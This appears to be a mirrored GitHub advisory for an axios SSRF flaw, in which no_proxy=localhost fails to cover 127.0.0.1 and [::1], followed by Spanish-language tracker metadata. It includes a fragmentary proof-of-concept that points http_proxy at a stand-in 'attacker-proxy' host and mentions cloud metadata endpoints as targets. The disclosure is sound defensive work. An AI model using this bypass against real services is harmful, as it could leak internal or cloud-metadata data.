Axios: no_proxy bypass via IP alias allows SSRF
The fix for no_proxy hostname normalization bypass (#10661) is incomplete.When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it.
The shouldBypassProxy() function does pure string matching — it does not resolve IP aliases or loopback equivalents. As a result:
- no_proxy=localhost does NOT block 127.0.0.1 or [::1]
- no_proxy=127.0.0.1 does NOT block localhost or [::1]
POC : process.env.no_proxy = 'localhost'; process.env.http_proxy = 'http://attacker-proxy:8888';
process.env.http_proxy = 'http://127.0.0.1:8888';
console.log('=== Test 1: localhost (should bypass proxy) ===');
try {
await axios.get('http://localhost:7777/');
} catch(e) {
console.log('Error:', e.message);
}
console.log('');
console.log('=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===');
try {
await axios.get('http://127.0.0.1:7777/');
} catch(e) {
console.log('Error:', e.message);
}
fakeProxy.close();
internalServer.close();
});
});
EOF
=== Test 1: localhost (should bypass proxy) ===
✅ Internal server hit directly (correct)
=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===
🚨 PROXY RECEIVED REQUEST TO: http://127.0.0.1:7777/
🚨 Host header: 127.0.0.1:7777. ```
<img width="1212" height="247" alt="image" src="https://github.com/user-attachments/assets/0b07ddc4-507d-4b11-a630-15b94ad2c7e7" />
Impact: In server-side environments where no_proxy is used to prevent requests to internal/cloud metadata services (e.g., 169.254.169.254), an attacker who can influence the URL can bypass the restriction by using an IP alias instead of the hostname, routing the request through an attacker-controlled proxy and leaking internal data.
Fix: shouldBypassProxy() should resolve loopback aliases — localhost, 127.0.0.1, and ::1 should all be treated as equivalent.Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | axios | >= 1.0.0, < 1.15.1, < 0.31.1 | 1.15.1, 0.31.1 |
Referencias
- Vector CVSS
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N- Debilidad (CWE)
CWE-918- Plataforma
- npm
- Paquete
axios- Publicada
- 05.05.2026
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-m7pr-hjqh-92cm - CC BY 4.0
Historial de vulnerabilidades: axios
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 55
- Primera → última
- 05.2019 09.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Alta 25
- Media 28
- Baja 2
Divulgaciones por año
- 2019: 1
- 2020: 0
- 2021: 2
- 2022: 0
- 2023: 1
- 2024: 1
- 2025: 2
- 2026: 48
-
Axios: no_proxy bypass via IP alias allows SSRF esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.